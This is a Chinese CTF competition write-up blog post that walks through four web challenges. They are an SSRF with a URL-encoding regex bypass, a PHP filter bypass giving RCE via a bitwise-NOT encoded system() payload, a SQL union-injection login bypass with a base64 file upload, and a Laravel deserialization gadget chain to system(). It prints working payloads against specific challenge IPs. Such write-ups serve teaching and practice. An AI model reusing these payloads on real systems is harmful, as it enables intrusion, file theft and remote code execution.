Author:颖奇L’Amore
Blog:www.gem-love.com
在屯了1个flag没交的情况下打进了前40,线下决赛见
do you know
考点:代码审计
难度:baby
上来就是代码
<?php
highlight_file(__FILE__);
#本题无法访问外网
#这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了
#各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
die("no hacker");
}
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];
if(!$a_key||!$b_key||!$a_value||!$b_value)
{
die('我什么都没有~');
}
if($a_key==$b_key)
{
die("trick");
}
if($a_value!==$b_value)
{
if(count($_GET)!=1)
{
die('be it so');
}
}
foreach($_GET as $key=>$value)
{
$url=$value;
}
$ch = curl_init();
if ($type != 'file') {
#add_debug_log($param, 'post_data');
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
} else {
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 180);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// 设置header
if ($type == 'file') {
$header[] = "content-type: multipart/form-data; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
} elseif ($type == 'xml') {
curl_setopt($ch, CURLOPT_HEADER, false);
} elseif ($has_json) {
$header[] = "content-type: application/json; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}
// curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
// dump($param);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
// 要求结果为字符串且输出到屏幕上
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 使用证书:cert 与 key 分别属于两个.pem文件
$res = curl_exec($ch);
var_dump($res);
还有别的文件,应该是ssrf+xxe,用gopher打,然而出题人出现了致命错误:
$poc=$_SERVER['QUERY_STRING'];
看不出来的建议去温习一下我出的一道题:
因为QUERY_STRING不会urldecode,所以只需要进行url编码绕过就可以了,我出的这个题里就有这个考点。
然后本题只要把字母也urlencode就直接bypass了正则,然后就随便打了,直接curl一下file:///var/www/html/flag.php即可,想读什么文件就读什么文件,一分钟做完,xswl
http://121.36.64.91/?a=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70&b=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70
就算是用gopher,后面也还是有非预期
hate-php
考点:bypass and RCE
难度:简单
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}
题目有两层过滤,第一个正则过滤了一些符号了flag.ph中任意的字符,第二个foreach
过滤了所有内置函数
利用取反,构造system(end(getallheaders()))
payload:
http://121.36.74.163/?code=(~(%8c%86%8c%8b%9a%92))((~(%9a%91%9b))((~(%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c))()))
然后在header最后加上cat flag.php
即可
解法不唯一,比如require
并不在内置函数的数组里,可以直接用
美团外卖
考点:SQL注入、代码审计
难度:普通
这破题真的,没啥意思。感觉像是什么课设作业拿过来魔改的,而且这代码,中英结合,用拼音做变量名,我是真的无语
扫出来www.zip源码
首先是个登录框,审一下代码发现可以用2019 GXYCTF EasySQLiv1.0的套路,自己构造一个union select
即可
function Login(){
$x1=1;//用户名长度限制
$x2=1;//用户密码长度限制
if(strlen(P('username'))>0 and strlen(P('password'))>0){
if(1<0){
Nts('请输入信息登录');
}
else{
if(GetValue('admin.upass',"uname='".P('username')."' and id>0")==md5(P('password'))){
$_SESSION['adminuser']=array();
$_SESSION['adminuser']['uname'] = GetValue('admin.uname',"uname='".P('username')."' and id>0");
$_SESSION['adminuser']['id'] = GetValue('admin.id',"uname='".P('username')."' and id>0");
$_SESSION['adminuser']['qudao'] = GetValue('admin.qudao',"uname='".P('username')."' and id>0");
Tz('index');
}
else{
Nts('登录失败!');
}
}
}
}
用户名 : ' union select "770f0f8b605cfd2ba494849d948d34ef"#
密码 : y1ng
登陆上来之后没找到什么可以利用的地方。然后继续审代码,在daochu.php发现了无任何过滤的SQL注入:
而且是有回显的,就直接构造联合查询就行了。查到有个hint表,从里面查出了一个hint:see_the_dir_956c110ef9decdd920249f5fed9e4427
经过一番测试,发现源码里给了一个lib目录,然而在根目录下是无法访问的,然后在hint的目录里居然可以访问了
这lib里有非常多的东西,然而基本都是js的,很显然本题目用不上,所以来这里面找一下php文件:
做到这一步,实际上就一个一个文件审计就可以了,然而其实还有更简单的方法,我记不清windows的资源管理器会不会显示这个文件最后的修改日期了,反正Mac的访达会显示,其他文件的修改日期都很久远,说明是作者直接拿过来的,然而preview.php修改日期是昨天的13:20,说明这是出题人最新编辑过的文件,考点就直接定位到这个文件了
然后就审一下代码呗
<?php
/**
* 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
*/
$DIR = 'preview';
// Create target dir
if (!file_exists($DIR)) {
@mkdir($DIR);
}
$cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds
if ($cleanupTargetDir) {
if (!is_dir($DIR) || !$dir = opendir($DIR)) {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
}
while (($file = readdir($dir)) !== false) {
$tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;
// Remove temp file if it is older than the max age and is not the current file
if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
@unlink($tmpfilePath);
}
}
closedir($dir);
}
$src = file_get_contents('php://input');
if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {
$previewUrl = sprintf(
"%s://%s%s",
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
$_SERVER['HTTP_HOST'],
$_SERVER['REQUEST_URI']
);
$previewUrl = str_replace("preview.php", "", $previewUrl);
$base64 = $matches[2];
$type = $matches[1];
if ($type === 'jpeg'||$type==='php') {
die("no hacker");
#$type = 'jpg';
}
$filename = md5($base64).".$type";
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename;
if (file_exists($filePath)) {
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
} else {
$data = base64_decode($base64);
file_put_contents($filePath, $data);
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
}
} else {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}
根据这个php://input
以及preg_match()
:
来构造一个POST的包试一下
题目返回了一个神秘文件,访问之后提示get file,所以就直接读flag就可以了
Laravel
考点:Laravel框架审计、反序列化
难度:困难
在vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php中有析构方法,调用$parent
属性的addCollection()
方法,然后在构造方法里$parent
是可控的
全局搜索addCollection()
没有找到什么好用的,然后找__call()
魔术方法,在vendor/fzaninotto/faker/src/Faker/Generator.php中就有,为什么找这个呢?主要是类下能调用回调函数
<?php
namespace Faker;
class Generator
{
protected $providers = array();
protected $formatters = array();
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}
因为addCollection()
不存在,就会触发__call()
方法,然后调用$this->format()
方法;在format()
方法内返回call_user_func_array()
来调用回调函数,$this->getFormatter($formatter)
就是回调函数,$argument
自然就是回调函数的参数了。
之后就是跟进$this->getFormatter($formatter)
,可以看出getFormatter()
的返回值也是可控的:
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
所以通过控制$this->formatters
为一数组,数组键值为system
,然后$argument
为回调system()
的参数来实现命令执行。
然后因为__call()
的特性,$this->format()
的第一个参数$method
为ImportConfigurator
中析构方法调用的addCollection
,然后在$this->format()
中又传给$this->getFormatter($formatter)
,这个$formatter
就是addCollection
。刚刚说了键值为system
,键名$formatter
就需要设置为addCollection
,这样才能通过call_user_func_array($this->getFormatter($formatter), $arguments)
来触发system()
exp:
颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://blog.gem-love.com/ctf/2380.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示